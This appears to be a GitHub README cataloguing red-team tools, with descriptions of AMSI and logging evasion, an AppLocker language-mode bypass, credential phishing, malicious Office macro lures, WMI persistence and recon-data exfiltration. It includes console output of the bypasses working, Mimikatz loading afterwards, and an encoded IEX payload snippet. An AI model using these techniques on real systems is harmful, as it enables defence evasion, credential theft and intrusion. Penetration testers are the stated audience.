## Red Teaming and Social-Engineering related scripts, tools and CheatSheets - **`backdoor-drop.js`** - Internet Explorer - JavaScript trojan/backdoor dropper template, to be used during Penetration Testing assessments. ([gist](https://gist.github.com/mgeeky/b0aed7c1e510560db50f96604b150dac)) - **`Bypass-ConstrainedLanguageMode`** - Tries to bypass AppLocker Constrained Language Mode via custom COM object (as documented by @xpn in: https://www.mdsec.co.uk/2018/09/applocker-clm-bypass-via-com/ ) The way it does so is by registering a custom COM object (`InProcServer32` DLL) that will act as a native *.NET CLR4* host. This host is then going to load up a managed assembly within it's current AppDomain. That assembly finally will switch `SessionData.LanguageMode` variable determining whether Constrained Language Mode shall be used within current Runspace. More details in the tool directory itself. ``` PS > $ExecutionContext.SessionState.LanguageMode ConstrainedLanguage PS > .\Bypass-CLM.ps1 AppLocker Constrined Language Mode Bypass via COM (implementation of: @xpn's technique, as documented in:) (https://www.mdsec.co.uk/2018/09/applocker-clm-bypass-via-com/) Re-implemented, enhanced by: Mariusz B., mgeeky ----- [.] Step 0. Planted DLL files in: C:\Users\danj\AppData\Local\Temp\ClmDisableAssembly.dll C:\Users\danj\AppData\Local\Temp\ClmDisableDll.dll [.] Step 1. Creating custom COM object. [.] Step 2. Invoking it (ClmDisableDll)... Powershell runspace Thread ID: 8716 [+] Managed mode assembly. Disabling CLM globally. Current thread ID (managed/unmanaged): 8 / 8716 Passed argument: '(called from native CLR host)' ============ Use below command to disable CLM on Demand (ignore errors): PS> New-Object -ComObject ClmDisableDll ============ [+] Finished. CLM status: FullLanguage PS > New-Object -ComObject ClmDisableDll PS > $ExecutionContext.SessionState.LanguageMode FullLanguage ``` - **`clickOnceSharpPickTemplate.cs`** - This is a template for **C# Console Project** containing [SharpPick](https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerPick) technique of loading Powershell code from within C# application. The ClickOnce concept is to generate a windows self-updating Application that is specially privileged ([ClickOnce](https://www.slideshare.net/NetSPI/all-you-need-is-one-a-click-once-love-story-secure360-2015)) - **`compressedPowershell.py`** - Creates a Powershell snippet containing GZIP-Compressed payload that will get decompressed and executed (IEX) . ([gist](https://gist.github.com/mgeeky/e30ceecc2082a11b99c7b24b42bd77fc)) Example: ``` $s = New-Object IO.MemoryStream(, [Convert]::FromBase64String('H4sIAMkfcloC/3u/e390cGVxSWquXlBqWk5qcklmfp6eY3Fxam5STmWslZVPfmJKeGZJRkBiUUlmYo5fYm6qhhJUR3hmXkp+ebGeW35RbrGSpkKNgn9pia5faU6ONS9XNDZFer6pxcWJ6alO+RVAs4Mz8ss11D1LFMrzi7KLFdU1rQFOfXYfjwAAAA==')); IEX (New-Object IO.StreamReader(New-Object IO.Compression.GzipStream($s, [IO.Compression.CompressionMode]::Decompress))).ReadToEnd(); ``` - **`delete-warning-div-macro.vbs`** - VBA Macro function to be used as a Social Engineering trick removing "Enable Content" warning message as the topmost floating text box with given name. ([gist](https://gist.github.com/mgeeky/9cb6acdec31c8a70cc037c84c77a359c)) - **`Disable-Amsi.ps1`** - Tries to evade AMSI by leveraging couple of publicly documented techniqus, but in an approach to avoid signatured or otherwise considered harmful keywords. Using a hash-lookup approach when determining prohibited symbol names, we are able to avoid relying on blacklisted values and having them hardcoded within the script. This implementation iterates over all of the assemblies, their exposed types, methods and fields in order to find those that are required but by their computed hash-value rather than direct name. Since hash-value computation algorithm was open-sources and is simple to manipulate, the attacker becomes able to customize hash-lookup scheme the way he likes. ``` PS > "amsiInitFailed" At line:1 char:1 + "amsiInitFailed" + ~~~~~~~~~~~~~~~~ This script contains malicious content and has been blocked by your antivirus software. + CategoryInfo : ParserError: (:) [], ParentContainsErrorRecordException + FullyQualifiedErrorId : ScriptContainedMaliciousContent PS > . .\Disable-Amsi.ps1 PS > Disable-Amsi [+] Disabled Script Block logging. [+] Success via technique 1. PS > "amsiInitFailed" amsiInitFailed ``` - **`Disable-ScriptLogging.ps1`** - Tries to evade Script Block logging by leveraging couple of publicly documented techniqus, but in an approach to avoid signatured or otherwise considered harmful keywords. *Warning:* This scriptlet should be launched first, before `Disable-Amsi.ps1` for better OpSec experience. - **`Export-ReconData.ps1`** - Powershell script leveraging [PowerSploit Recon](https://github.com/PowerShellMafia/PowerSploit) module (PowerView) to save output from Reconnaissance cmdlets like `Get-*`, `Find-*` into _Clixml_ files. Those files (stored in an output directory as separate XML files) can later be extracted from attacked environment and loaded to a new powershell runspace using the same script. Very useful when we want to obtain as many data as possible, then exfiltrate that data, review it in our safe place and then get back to attacked domain for lateral spread. **Warning**: Be careful though, as this script launches many reconnaissance commands one by one, this WILL generate a lot of noise. Microsoft ATA for instance for sure pick you up with _"Reconnaissance using SMB session enumeration"_ after you've launched `Invoke-UserHunter`. **WARNING:** This script is compatible with newer version of PowerView (coming from dev branch as of 2018), that exposed various `Get-Domain*`, `Find-*` cmdlets. In order to save recon's data from the older PowerView, refer to my `Save-ReconData.ps1` script in this directory. Exposed functions: - `Export-ReconData` - Launches many cmdlets and exports their Clixml outputs. - `Import-ReconData -DirName ` - Loads Clixml previously exported outputs and stores them in Global variables reachable when script terminates. - `Get-ReconData -DirName ` - Gets names of variables that were created and contains previously imported data. ``` PS E:\PowerSploit\Recon> Load-ReconData -DirName .\PowerView-12-18-2018-08-30-09 Loaded $FileFinderSearchSYSVol results. Loaded $FileFinder results. Loaded $ForeignGroup results. Loaded $ForeignUser results. Loaded $GPOLocation results. Loaded $MapDomainTrust results. Loaded $NetComputer results. Loaded $NetDomain results. Loaded $NetDomainController results. Loaded $NetDomainTrust results. Loaded $NetFileServer results. Loaded $NetForest results. Loaded $NetForestCatalog results. Loaded $NetForestDomain results. Loaded $NetForestTrust results. Loaded $NetGPO results. Loaded $NetGPOGroup results. Loaded $NetGroup results. Loaded $NetGroupMember results. Loaded $NetLocalGroup results. Loaded $NetLoggedon results. Loaded $NetOU results. Loaded $NetProcess results. Loaded $NetRDPSession results. Loaded $NetSession results. Loaded $NetShare results. Loaded $NetSite results. Loaded $NetSubnet results. Loaded $NetUserAdminCount results. Loaded $NetUser results. Loaded $ShareFinder results. Loaded $StealthUserHunterShowAll results. Loaded $UserHunterShowAll results. ``` - **`Find-GPODelegatedUsers.ps1`** - One-liner for finding GPO Delegated users that can Edit Settings of that GPO and thus could be used to Abuse GPO Permissions (https://www.harmj0y.net/blog/redteaming/abusing-gpo-permissions/). [gist](https://gist.github.com/mgeeky/5843df09607123772a61e782a6406d54) - **`generateMSBuildPowershellXML.py`** - Powershell via MSBuild inline-task XML payload generation script - To be used during Red-Team assignments to launch Powershell payloads without using `powershell.exe` ([gist](https://gist.github.com/mgeeky/df9f313cfe468e56c59268b958319bcb)) Example output **not minimized**: ``` C:\Users\IEUser\Desktop\files\video>python generateMSBuildPowershellXML.py Show-Msgbox.ps1 :: Powershell via MSBuild inline-task XML payload generation script To be used during Red-Team assignments to launch Powershell payloads without using 'powershell.exe' Mariusz B. / mgeeky, [?] File not recognized as PE/EXE. ------------------------------------------------------------------------------------ ------------------------------------------------------------------------------------ ``` **minimized** ``` C:\Users\IEUser\Desktop\files\video>python generateMSBuildPowershellXML.py Show-Msgbox.ps1 -m :: Powershell via MSBuild inline-task XML payload generation script To be used during Red-Team assignments to launch Powershell payloads without using 'powershell.exe' Mariusz B. / mgeeky, [?] File not recognized as PE/EXE. ------------------------------------------------------------------------------------ ------------------------------------------------------------------------------------ ``` - **`Get-DomainOUTree.ps1`** - Collects OU lines returned from **PowerView's** `Get-NetOU`/`Get-DomainOU` cmdlet, and then prints that structure as a _Organizational Units tree_. This scriptlet works with both older version of PowerView that got implemented `Get-NetOU` cmdlet, by passing its output via pipeline to `Get-NetOUTree`: ``` PS E:\PowerSploit\Recon> Get-NetOU | Get-NetOUTree ``` or with new version of PowerView coming with it's `Get-DomainOU` cmdlet. ``` PS E:\PowerSploit\Recon> Get-DomainOU | Get-DomainOUTree + CONTOSO + SharedFolders + Departments + IT + SALES + LAWYERS + CHIEFS + AUDIT + HR + Software + Computers + Workstations + Servers + Data + Infrastructure + SOC + Groups + Users + Partners + Employees + Admins + Domain Controllers + Microsoft Exchange Security Groups ``` - **`Invoke-Command-Cred-Example.ps1`** - Example of using PSRemoting with credentials passed directly from command line. ([gist](https://gist.github.com/mgeeky/de4ecf952ddce774d241b85cfbf97faf)) - **`MacroDetectSandbox.vbs`** - Visual Basic script responsible for detecting Sandbox environments, as presented in modern Trojan Droppers implemented in Macros. ([gist](https://gist.github.com/mgeeky/61e4dfe305ab719e9874ca442779a91d)) - **`Macro-Less-Cheatsheet.md`** - Macro-Less Code Execution in MS Office via DDE (Dynamic Data Exchange) techniques Cheat-Sheet ([gist](https://gist.github.com/mgeeky/981213b4c73093706fc2446deaa5f0c5)) - **`macro-psh-stdin-author.vbs`** - VBS Social Engineering Macro with Powershell invocation taking arguments from Author property and feeding them to StdIn. ([gist](https://gist.github.com/mgeeky/50c4b7fa22d930a80247fea62755fbd3)) - **`msbuild-powershell-msgbox.xml`** - Example of Powershell execution via MSBuild inline task XML file. On a simple Message-Box script. ([gist](https://gist.github.com/mgeeky/617c54a23f0c4e99e6f475e6af070810)) - **`muti-stage-1.md`** - Multi-Stage Penetration-Testing / Red Teaming Malicious Word document creation process. ([gist](https://gist.github.com/mgeeky/6097ea56e0f541aa7d98161e2aa76dfb)) - **`Phish-Creds.ps1`** - Powershell oneline Credentials Phisher - to be used in malicious Word Macros/VBA/HTA or other RCE commands on seized machine. ([gist](https://gist.github.com/mgeeky/a404d7f23c85954650d686bb3f02abaf)) One can additionally add, right after `Get-Credential` following parameters that could improve pretext's quality during social engineering attempt: - `-Credential domain\username` - when we know our victim's domain and/or username - we can supply this info to the dialog - `-Message "Some luring sentence"` - to include some luring message - [**`PhishingPost`**](https://github.com/mgeeky/PhishingPost) - (PHP Script intdended to be used during Phishing campaigns as a credentials collector linked to backdoored HTML
action parameter. - [**`RobustPentestMacro`**](https://github.com/mgeeky/RobustPentestMacro) - This is a rich-featured Visual Basic macro code for use during Penetration Testing assignments, implementing various advanced post-exploitation techniques. - **`Save-ReconData.ps1`** - Powershell script leveraging [PowerSploit Recon](https://github.com/PowerShellMafia/PowerSploit) module (PowerView) to save output from Reconnaissance cmdlets like `Get-*`, `Find-*` into _Clixml_ files. It differs from `Export-ReconData.ps1` in that it supports only older PowerView version from before 12 dec 2016. Exposed functions: - `Save-ReconData` - Launches many cmdlets and exports their Clixml outputs. - `Load-ReconData -DirName ` - Loads Clixml previously exported outputs and stores them in Global variables reachable when script terminates. - `Get-ReconData -DirName ` - Gets names of variables that were created and contains previously imported data. - **`set-handler.rc`** - Quickly set metasploit's multi-handler + web_delivery (separated) handler for use with powershell. ([gist](https://gist.github.com/mgeeky/bf4d732aa6e602ca9b77d089fd3ea7c9)) - **`Stracciatella`** - Powershell runspace from within C# (aka `SharpPick` technique) with AMSI and Script Block Logging disabled for your pleasure. * This program provides functionality to decode passed parameters on the fly, using Base64 and Xor single-byte decode (also combined) * Before launching any command, it makes sure to disable AMSI using two approaches * Before launching any command, it makes sure to disable Script Block logging using two approaches * This program does not patch any system library, system native code (think amsi.dll) * Efforts were made to not store decoded script/commands excessively long, in order to protect itself from memory-dumping techniques governed by EDRs and AVs * The resulting binary may be considered bit too large, that's because `Costura.Fody` NuGet package is used which bundles `System.Management.Automation.dll` within resulting assembly ``` PS D:\> Stracciatella.exe -v -b -x 0x31 -c "ZkNYRVQceV5CRRETeEURRl5DWkIRXVhaVBFQEVJZUENcEBMRChEVdElUUkRFWF5fcl5fRVRJRR9iVEJCWF5fYkVQRVQffVBfVkRQVlR8XlVU" .\Test2.ps1 :: Stracciatella - Powershell runspace with AMSI and Script Block Logging disabled. Mariusz B. / mgeeky, '19 [.] Will load script file: '.\Test2.ps1' [+] AMSI Disabled. [+] Script Block Logging Disabled. [.] Language Mode: FullLanguage PS> & '.\Test2.ps1' PS> Write-Host "It works like a charm!" ; $ExecutionContext.SessionState.LanguageMode [+] Yeeey, it really worked. It works like a charm! FullLanguage PS D:\> "amsiInitFailed" At line:1 char:1 + "amsiInitFailed" + ~~~~~~~~~~~~~~~~ This script contains malicious content and has been blocked by your antivirus software. + CategoryInfo : ParserError: (:) [], ParentContainsErrorRecordException + FullyQualifiedErrorId : ScriptContainedMaliciousContent PS D:\> . .\Invoke-Mimikatz.ps1 At line:1 char:1 + . .\Invoke-Mimikatz.ps1 + ~~~~~~~~~~~~~~~~~~~~~~~ This script contains malicious content and has been blocked by your antivirus software. + CategoryInfo : ParserError: (:) [], ParentContainsErrorRecordException + FullyQualifiedErrorId : ScriptContainedMaliciousContent PS D:\> .\Stracciatella.exe -v :: Stracciatella - Powershell runspace with AMSI and Script Block Logging disabled. Mariusz B. / mgeeky, '19 [-] It looks like no script path was given. [+] AMSI Disabled. [+] Script Block Logging Disabled. [.] Language Mode: FullLanguage Stracciatella D:\> . .\Invoke-Mimikatz.ps1 Stracciatella D:\> Invoke-Mimikatz -Command "coffee ; exit" .#####. mimikatz 2.1 (x64) built on Nov 10 2016 15:31:14 .## ^ ##. "A La Vie, A L'Amour" ## / \ ## /* * * ## \ / ## Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com ) '## v ##' http://blog.gentilkiwi.com/mimikatz (oe.eo) '#####' with 20 modules * * */ mimikatz(powershell) # coffee ( ( ) ) .______. | |] \ / `----' mimikatz(powershell) # ; ``` - **`SubstitutePageMacro.vbs`** - This is a template for the Malicious Macros that would like to substitute primary contents of the document (like luring/fake warnings to "Enable Content") and replace document's contents with what is inside of an AutoText named `RealDoc` (configured via variable `autoTextTemplateName` ). ([gist](https://gist.github.com/mgeeky/3c705560c5041ab20c62f41e917616e6)) - **`warnings\EN-Word.docx`** and **`warnings\EN-Excel.docx`** - Set of ready-to-use Microsoft Office Word shapes that can be pasted / inserted into malicious documents for enticing user into clicking "Enable Editing" and "Enable Content" buttons. - **`WMIPersistence.vbs`** - Visual Basic Script implementing WMI Persistence method (as implemented in SEADADDY malware and further documented by Matt Graeber) to make the Macro code schedule malware startup after roughly 3 minutes since system gets up. ([gist](https://gist.github.com/mgeeky/d00ba855d2af73fd8d7446df0f64c25a)) - **`Various-Macro-Based-RCEs.md`** - Various Visual Basic Macros-based Remote Code Execution techniques to get your meterpreter invoked on the infected machine. ([gist](https://gist.github.com/mgeeky/61e4dfe305ab719e9874ca442779a91d)) - **`vba-macro-mac-persistence.vbs`** - (WIP) Working on VBA-based MacPersistance functionality for MS Office for Mac Macros. ([gist](https://gist.github.com/mgeeky/dd184e7f50dfab5ac97b4855f23952bc)) - **`vba-windows-persistence.vbs`** - VBA Script implementing two windows persistence methods - via WMI EventFilter object and via simple Registry Run. ([gist](https://gist.github.com/mgeeky/07ffbd9dbb64c80afe05fb45a0f66f81)) - [**`VisualBasicObfuscator`**](https://github.com/mgeeky/VisualBasicObfuscator) - Visual Basic Code universal Obfuscator intended to be used during penetration testing assignments.